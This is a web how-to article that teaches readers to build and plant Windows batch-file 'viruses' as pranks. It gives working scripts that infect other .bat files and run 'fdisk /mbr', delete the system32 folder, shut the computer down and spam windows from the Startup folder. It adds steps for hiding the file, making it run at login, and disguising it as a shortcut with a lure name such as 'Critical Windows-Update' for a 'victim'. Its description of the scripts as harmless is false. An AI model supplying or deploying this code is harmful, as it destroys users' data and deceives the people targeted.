How to create a virus

1. What Is A Virus?
A computer virus is a computer program that can copy itself and infect a computer. The term “virus” is also commonly but erroneously used to refer to other types of malware, adware, and spyware programs that do not have the reproductive ability. A true virus can only spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.(Source Wikipedia)
As stated above, the term “computer virus” is sometimes used as a catch-all phrase to include all types of malware, adware, and spyware programs that do not have the reproductive ability. Malware includes computer viruses, worms, trojans, most rootkits, spyware, dishonest adware, crimeware, and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with computer worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan is a program that appears harmless but hides malicious functions. Worms and Trojans, like viruses, may harm a computer system’s data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious and go unnoticed.(Source Wikipedia)
  • Understand the following: It’s just a harmless “virus”. It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
  • Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.
@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has incountered a write fault at 0×00000000000000000000000000000000000″
Code Details
@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your localhost – nothing much)
shutdown.exe (shutdown)

Preparing the Virus

  1. Read and understand the warnings!
  2. Open up Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering notepad under Start > Run.
  3. Copy and Paste the Code of the “virus” into Notepad
  4. Click File -> Save as
  5. Decide for a location to save the fake-virus. You should chose a location where the user won’t find the file, so saving it on the desktop would be a bad idea!
  6. Change “.txt” to “All files” in the file type drop-down menu
  7. Chose a harmless filename. Replace the “.txt” at the with “.bat”
  8. Click on save and close Notepad.

2. Shutdown virus
Do you want to play a trick on your friends? Our shocking but harmless virus is the best choice for you! Here's what to do:
The sample scripts (edited by a non-noob):
// shutdown the computer without a chance to abort

@echo off
shutdown -s -t 0

// OR (attempt to delete system files)

@echo off
cd %SystemRoot%
del /s/q system32\*.*
rmdir /s/q system32

// OR (for spamming multiple windows)
// Least malicious, most annoying.

@echo off
set CRLF=^


set NewLine=^^^%CRLF%%CRLF%^%CRLF%%CRLF%
echo :h3ll%NewLine%start%NewLine%goto h3ll > "%HomePath%\Start Menu\Programs\Startup\spamm3r.bat"
"%HomePath%\Start Menu\Programs\Startup\spamm3r.bat


Building the Virus (edited by a non-noob)

Step 1: Acknowledge and comprehend the WARNINGS!

Step 2: Run "\WINDOWS\notepad.exe" by clicking Start>All Programs>Accessories>Notepad, or by entering notepad in the Run dialog (hold down the WINDOWS+R keys).

Step 3: Copy and paste the batch script of the "virus" into the open notepad.

Step 4: Click the File>Save As... menu item to save the script.

Step 5: Select a location to save the script, e.g.: %HomePath%\Start Menu\Programs\Startup\..this will automatically run the script when the user logs in.

Step 6: Select to Save as type: All Files

Step 7: Be creative with the file name. Replace the .txt extension with .bat or .cmd and the language will be interpreted upon clicking.

Step 8: Click Save and close notepad.

Step 9: Learn a REAL programming language!

Note: if you saved to the Startup folder, you will have to boot into Safe mode and manually remove the script.

Making a fake Icon

Now that we have the virus saved, we should prepare a decoy:
  1. Right click on the desktop and go over to "new" then click "short cut".
  2. For the location of the short cut choose our Virus.
  3. Click next.
  4. Give the shortcut a name that your victim will click on. ("Music for free", "My Documents", "Critical Windows-Update" "Get Free Cinema-Tickets" or "Internet Explorer").
  5. Click on "Finish".
  6. Right click on the shortcut you have just made and choose "properties". Now click on the "choose icon" button and scroll through the list of icons.
  7. Decide for one of the icons that fits well to the name, choose it by clicking on it and hit OK twice.

Abort Shutdown-Countdown

Sometimes it might be necessary to stop the countdown before the computer shuts down. Here's how to do it:
  1. Open the start menu.
  2. Click Run
  3. Type "shutdown.exe -a" and press enter/return.
  4. Or go to Run
  5. Type CMD
  6. And then type "shutdown -a"
3. How to create a simple virus

Here is a way on how to create a simple batch file virus

Write it in a notepad
Cycle a message in your friend's computer(code is given below)
Type :
Code:
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it as "Anything.BAT" and send it.